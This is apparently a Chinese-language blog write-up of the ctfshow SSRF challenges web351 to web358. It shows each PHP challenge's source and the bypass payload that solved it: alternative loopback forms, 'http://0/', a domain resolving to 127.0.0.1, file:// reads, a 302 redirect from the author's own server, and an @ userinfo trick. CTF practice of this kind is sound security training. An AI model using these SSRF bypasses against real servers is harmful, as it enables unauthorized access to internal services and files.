当前位置: 首页 > news >正文

ctfshow ssrf web351-360

ctfshow—web入门351-360

web 351

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
?>

flag.php限制了本地访问,直接在url上面不行,我们利用curl_exec这个,

从本地访问即可拿到flag

url=http://127.0.0.1/flag

利用file伪协议也可以

url=file:///var/www/html/flag.php

web 352

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){if(!preg_match('/localhost|127.0.0/')){$ch=curl_init($url);curl_setopt($ch, CURLOPT_HEADER, 0);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);$result=curl_exec($ch);curl_close($ch);echo ($result);}else{die('hacker');}
}
else{die('hacker');
}
?>

preg_match都没有写参数,没有限制,只是限制了只能用http协议 其他和上一题一样的写法

web 353

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){if(!preg_match('/localhost|127\.0\.|\。/i', $url)){$ch=curl_init($url);curl_setopt($ch, CURLOPT_HEADER, 0);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);$result=curl_exec($ch);curl_close($ch);echo ($result);}else{die('hacker');}
}
else{die('hacker');
}
?>

这个题目限制了一些东西,无伤大雁

本地换回地址,不只是127.0.0.1代表本地

这些都代表本地,用就是了

127.0.0.1---127.255.255.254

payload

url=http://127.244.1.1/flag.php

web 354

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){if(!preg_match('/localhost|1|0|。/i', $url)){$ch=curl_init($url);curl_setopt($ch, CURLOPT_HEADER, 0);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);$result=curl_exec($ch);curl_close($ch);echo ($result);}else{die('hacker');}
}
else{die('hacker');
}
?>

这个题目限制了1,0,用不了前面,的方法了,需要去域名解析,即在你自己的域名下,添加一个127.0.0.1的解析,但是呢,我还没买域名,直接用别人的了

url=http://sudo.cc/flag.php 

web355

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){$host=$x['host'];if((strlen($host)<=5)){$ch=curl_init($url);curl_setopt($ch, CURLOPT_HEADER, 0);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);$result=curl_exec($ch);curl_close($ch);echo ($result);}else{die('hacker');}
}
else{die('hacker');
}
?>

限制了域名长度小于5,没有其他限制,我们直接使用0即可绕过因为0在linux系统会被解析成本地网段

image-20250810130828988

url=http://0/flag.php

web356

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){$host=$x['host'];if((strlen($host)<=3)){$ch=curl_init($url);curl_setopt($ch, CURLOPT_HEADER, 0);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);$result=curl_exec($ch);curl_close($ch);echo ($result);}else{die('hacker');}
}
else{die('hacker');
}
?> 

限制3,依旧一样的

url=http://0/flag.php

web 357

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){$ip = gethostbyname($x['host']);echo '</br>'.$ip.'</br>';if(!filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) {die('ip!');}echo file_get_contents($_POST['url']);
}
else{die('scheme');
}
?>

这里有段waf,我们不知道,问一下ai

1. filter_var($ip, FILTER_VALIDATE_IP, ...)

  • FILTER_VALIDATE_IP 会验证 $ip 是否是一个合法的 IPv4 或 IPv6 地址。
  • 如果 $ip 不合法,则返回 false
  • 意味着任何不是标准 IP 格式的值(比如 127.0.0.1:80example.com)会直接被判定为非法。

2. FILTER_FLAG_NO_PRIV_RANGE

  • 禁止私有 IP 地址段
  • 私有 IPv4 范围:
    • 10.0.0.0 - 10.255.255.255
    • 172.16.0.0 - 172.31.255.255
    • 192.168.0.0 - 192.168.255.255
  • 私有 IPv6 范围:
    • fc00::/7

3. FILTER_FLAG_NO_RES_RANGE

  • 禁止保留地址范围(特殊用途 IP),包括:
    • 0.0.0.0
    • 127.0.0.0/8(回环地址)
    • 169.254.0.0/16(链路本地)
    • ::1(IPv6 回环)
    • 以及其他 RFC 保留段

4. 综合逻辑

执行这段代码时:

  1. 先验证 $ip 是不是符合 IP 格式(A.B.C.D 或 IPv6 标准表示)。
  2. 如果是 IP,就进一步检查是否属于私有 IP 或保留 IP 范围。
  3. 只允许公网 IP(Public IP)通过。

意思就是需要公网IP,我们可以在我们自己的公网服务器上面,搞一个302跳转的文件,这样子,当使用这个容器访问的时候,就会自动302跳转到127.0.0.1里面,

payload

<?php
header("Location:http://127.0.0.1/flag.php");
?>
url=http://你的公网ip/ssrf.php

web358

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if(preg_match('/^http:\/\/ctf\..*show$/i',$url)){echo file_get_contents($url);
}

这个正则匹配的是,http://ctf.必须是开头,然后必须使用show结尾

我们可以采用采http基本身份认证的方式绕过,即@

构造payload

url=http://ctf.@127.0.0.1/flag.php?a=show
http://www.aitangshan.cn/news/981.html

相关文章:

  • 构建百万级实时排行榜:Redis Sorted Set 与 Java 实战指南
  • python ocr 识别 文字
  • 嗯可能就是deepseek像小狗一样吧(⁄ ⁄⁄ ▽⁄⁄ ⁄)
  • 【自学嵌入式:stm32单片机】定时器外部时钟
  • 树状数组学习笔记
  • 借项销售订单创建发票,报凭证不完成
  • GAS_Aura-Constructing the ASC and AS
  • 02-内核符号导出
  • tcpdump抓包命令
  • arduino开发你好小智(3)流程和原理 - MKT
  • PCIe【9】Linux内核 PCI驱动
  • GAS_Aura-GAS in Multiplayer
  • 随机种子
  • 爬虫逆向--Day13Day14--JS逆向核心案例
  • 线段树优化建图
  • Docker生成容器时使用GPU资源异常:could not select device driver ““ with capabilities: [[gpu]]
  • logrotate日志切割详解
  • 双栈维护滑动窗口的 trick
  • 目前组合数学我学过的
  • nim语言的fmt
  • nim语言获取windows用户名
  • 微雪电子发布工业级ESP32-S3-POE工控板:8路隔离IO,双核240MHz赋能AIoT,一根网线解决供电与通信,工业物联网迎来高性价比控制新选择 - 实践
  • DelegatingHandler
  • 8月12日随笔
  • ORACLE --修改表操作 - Yu
  • SpringCloud OpenFeign
  • # 自控红绿灯-最简
  • 服务业推行目标绩效制度的 Tita 解决方案
  • 8月12日
  • MSE Nacos Controller:为 Kubernetes 生态构建配置管理与服务发现的桥梁